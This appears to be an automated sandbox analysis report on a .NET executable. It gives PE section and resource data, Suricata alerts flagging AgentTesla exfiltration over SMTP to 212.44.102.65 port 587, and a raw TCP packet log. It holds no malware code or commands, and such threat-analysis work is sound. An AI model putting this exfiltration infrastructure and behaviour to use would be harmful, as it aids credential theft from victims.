.text	0x2000	0xc21e8	0xc2200	b68179466fec5e173fce82acb4085ed5	False	0.8601849243399872	data	7.622432389649315	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc6000	0x5ac	0x600	5e16c3a34158776cd548aeca53fb7d1a	False	0.4192708333333333	data	4.087798358607494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc8000	0xc	0x200	ceacd79eaeb3df9a224d6e317d13ba14	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc6090	0x31c	data			0.4334170854271357
RT_MANIFEST	0xc63bc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T08:40:00.730469+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	49724	212.44.102.65	587	TCP
2025-01-15T08:40:00.730469+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	49714	212.44.102.65	587	TCP
2025-01-15T08:41:26.619287+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	49994	212.44.102.65	587	TCP
2025-01-15T08:41:26.619287+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	49994	212.44.102.65	587	TCP
2025-01-15T08:41:36.980692+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	49996	212.44.102.65	587	TCP
2025-01-15T08:41:36.980692+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	49996	212.44.102.65	587	TCP
2025-01-15T08:41:42.320173+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	49997	212.44.102.65	587	TCP
2025-01-15T08:41:42.320173+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	49997	212.44.102.65	587	TCP
2025-01-15T08:42:05.375634+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	49999	212.44.102.65	587	TCP
2025-01-15T08:42:05.375634+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	49999	212.44.102.65	587	TCP
2025-01-15T08:42:22.962578+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50001	212.44.102.65	587	TCP
2025-01-15T08:42:22.962578+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50001	212.44.102.65	587	TCP
2025-01-15T08:42:25.930500+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50002	212.44.102.65	587	TCP
2025-01-15T08:42:25.930500+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50002	212.44.102.65	587	TCP
2025-01-15T08:42:33.027740+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50003	212.44.102.65	587	TCP
2025-01-15T08:42:33.027740+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50003	212.44.102.65	587	TCP
2025-01-15T08:42:34.918407+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50004	212.44.102.65	587	TCP
2025-01-15T08:42:34.918407+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50004	212.44.102.65	587	TCP
2025-01-15T08:42:37.191851+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50005	212.44.102.65	587	TCP
2025-01-15T08:42:37.191851+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50005	212.44.102.65	587	TCP
2025-01-15T08:42:59.617539+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50006	212.44.102.65	587	TCP
2025-01-15T08:42:59.617539+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50006	212.44.102.65	587	TCP
2025-01-15T08:43:00.856892+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50009	212.44.102.65	587	TCP
2025-01-15T08:43:00.856892+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50009	212.44.102.65	587	TCP
2025-01-15T08:43:02.452302+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50010	212.44.102.65	587	TCP
2025-01-15T08:43:02.452302+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50010	212.44.102.65	587	TCP
2025-01-15T08:43:08.488383+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50011	212.44.102.65	587	TCP
2025-01-15T08:43:08.488383+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50011	212.44.102.65	587	TCP
2025-01-15T08:43:23.137247+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50013	212.44.102.65	587	TCP
2025-01-15T08:43:23.137247+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50013	212.44.102.65	587	TCP
2025-01-15T08:43:26.288908+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50014	212.44.102.65	587	TCP
2025-01-15T08:43:26.288908+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50014	212.44.102.65	587	TCP
2025-01-15T08:43:32.394561+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50015	212.44.102.65	587	TCP
2025-01-15T08:43:32.394561+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50015	212.44.102.65	587	TCP
2025-01-15T08:43:37.148727+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50016	212.44.102.65	587	TCP
2025-01-15T08:43:37.148727+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50016	212.44.102.65	587	TCP
2025-01-15T08:43:44.906076+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50017	212.44.102.65	587	TCP
2025-01-15T08:43:44.906076+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50017	212.44.102.65	587	TCP
2025-01-15T08:43:45.168660+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50018	212.44.102.65	587	TCP
2025-01-15T08:43:45.168660+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50018	212.44.102.65	587	TCP
2025-01-15T08:43:50.511642+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50019	212.44.102.65	587	TCP
2025-01-15T08:43:50.511642+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50019	212.44.102.65	587	TCP
2025-01-15T08:43:59.224570+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50021	212.44.102.65	587	TCP
2025-01-15T08:43:59.224570+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50021	212.44.102.65	587	TCP
2025-01-15T08:44:02.312599+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50022	212.44.102.65	587	TCP
2025-01-15T08:44:02.312599+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50022	212.44.102.65	587	TCP
2025-01-15T08:44:06.002352+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50023	212.44.102.65	587	TCP
2025-01-15T08:44:06.002352+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50023	212.44.102.65	587	TCP
2025-01-15T08:44:16.415811+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50025	212.44.102.65	587	TCP
2025-01-15T08:44:16.415811+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50025	212.44.102.65	587	TCP
2025-01-15T08:44:16.554803+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.6	50026	212.44.102.65	587	TCP
2025-01-15T08:44:16.554803+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.6	50026	212.44.102.65	587	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 08:40:07.163156986 CET	49711	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:07.163191080 CET	443	49711	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:07.163300991 CET	49711	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:07.171727896 CET	49711	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:07.171737909 CET	443	49711	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:07.727701902 CET	443	49711	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:07.728782892 CET	49711	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:07.751631021 CET	49711	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:07.751651049 CET	443	49711	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:07.752039909 CET	443	49711	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:07.793128014 CET	49711	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:07.830398083 CET	49711	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:07.871339083 CET	443	49711	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:07.961787939 CET	443	49711	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:07.961843014 CET	443	49711	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:07.962002039 CET	49711	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:07.968708038 CET	49711	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:09.234236956 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:09.239933014 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:09.240256071 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:09.925712109 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:09.926049948 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:09.931529999 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:10.121700048 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:10.122991085 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:10.127875090 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:10.325176001 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:10.326925039 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:10.331795931 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:10.562782049 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:10.563285112 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:10.568103075 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:10.770340919 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:10.770765066 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:10.775582075 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:11.017138958 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:11.025093079 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:11.030004978 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:11.220256090 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:11.220890999 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:11.220890999 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:11.220942974 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:11.220942974 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:11.232522011 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:11.232541084 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:11.232553959 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:11.232567072 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:11.448425055 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:11.527334929 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:11.534868956 CET	49717	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:11.534905910 CET	443	49717	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:11.534971952 CET	49717	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:11.539508104 CET	49717	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:11.539526939 CET	443	49717	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:12.038546085 CET	443	49717	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:12.038614035 CET	49717	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:12.040044069 CET	49717	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:12.040054083 CET	443	49717	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:12.040422916 CET	443	49717	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:12.088422060 CET	49717	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:12.131350994 CET	443	49717	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:12.258356094 CET	443	49717	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:12.258522034 CET	443	49717	104.26.13.205	192.168.2.6
Jan 15, 2025 08:40:12.258574963 CET	49717	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:12.260737896 CET	49717	443	192.168.2.6	104.26.13.205
Jan 15, 2025 08:40:12.815157890 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:12.820080996 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:12.820166111 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:13.412331104 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:13.412524939 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:13.417479992 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:13.629858971 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:13.635843992 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:13.640655041 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:13.831886053 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:13.832088947 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:13.836910963 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.081362963 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.081638098 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:14.086571932 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.278748989 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.278915882 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:14.283828974 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.529468060 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.530071974 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:14.534972906 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.725944996 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.726455927 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:14.726593971 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:14.726627111 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:14.726643085 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:40:14.731416941 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.731503010 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.731534004 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.731563091 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:14.998917103 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:40:15.042954922 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:24.292192936 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:24.296978951 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:24.689810991 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:24.689830065 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:24.689882994 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:24.689918995 CET	49714	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:24.690924883 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:24.694688082 CET	587	49714	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:24.695770979 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:24.695844889 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:25.298851013 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:25.299032927 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:25.303958893 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:25.497714996 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:25.497910976 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:25.502885103 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:25.696139097 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:25.696351051 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:25.701210022 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:25.943561077 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:25.945471048 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:25.950355053 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.143412113 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.143606901 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.148399115 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.412873983 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.413207054 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.418066978 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.611443043 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.612853050 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.612993956 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.613085032 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.613085032 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.614387035 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.617695093 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.617985964 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.618014097 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.618042946 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.618119955 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.619215012 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.619276047 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.619287014 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.619304895 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.619374037 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.619395018 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.619401932 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.619427919 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.619482040 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.621912003 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.621938944 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.622004032 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.622834921 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.622863054 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.622900009 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.622931004 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.622947931 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.623032093 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.624494076 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.624522924 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.624572992 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.624593019 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.624600887 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.624628067 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.624669075 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.624701023 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.626857996 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.627049923 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.627772093 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.627804995 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.627836943 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.627866030 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.627921104 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.627979040 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.629411936 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.629470110 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.629481077 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.629502058 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.629533052 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.629587889 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.629616022 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.629647017 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.629648924 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:26.629713058 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.629746914 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.629796028 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.629828930 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.631900072 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.632550001 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.632577896 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.632606030 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.632632971 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.632666111 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.632740021 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.632766962 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.632814884 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.632842064 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.632867098 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.632894039 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634145975 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634258032 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634284973 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634311914 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634339094 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634366035 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634530067 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634583950 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634646893 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634701967 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634753942 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634780884 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634808064 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634834051 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634882927 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634910107 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:26.634937048 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:27.176697016 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:27.230587959 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:34.709935904 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:34.714780092 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:35.108774900 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:35.108793020 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:35.108886003 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:35.108921051 CET	49724	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:35.109738111 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:35.113857031 CET	587	49724	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:35.114861012 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:35.114929914 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:35.702776909 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:35.702933073 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:35.707787991 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:35.897150993 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:35.897429943 CET	49996	587	192.168.2.6	212.44.102.65
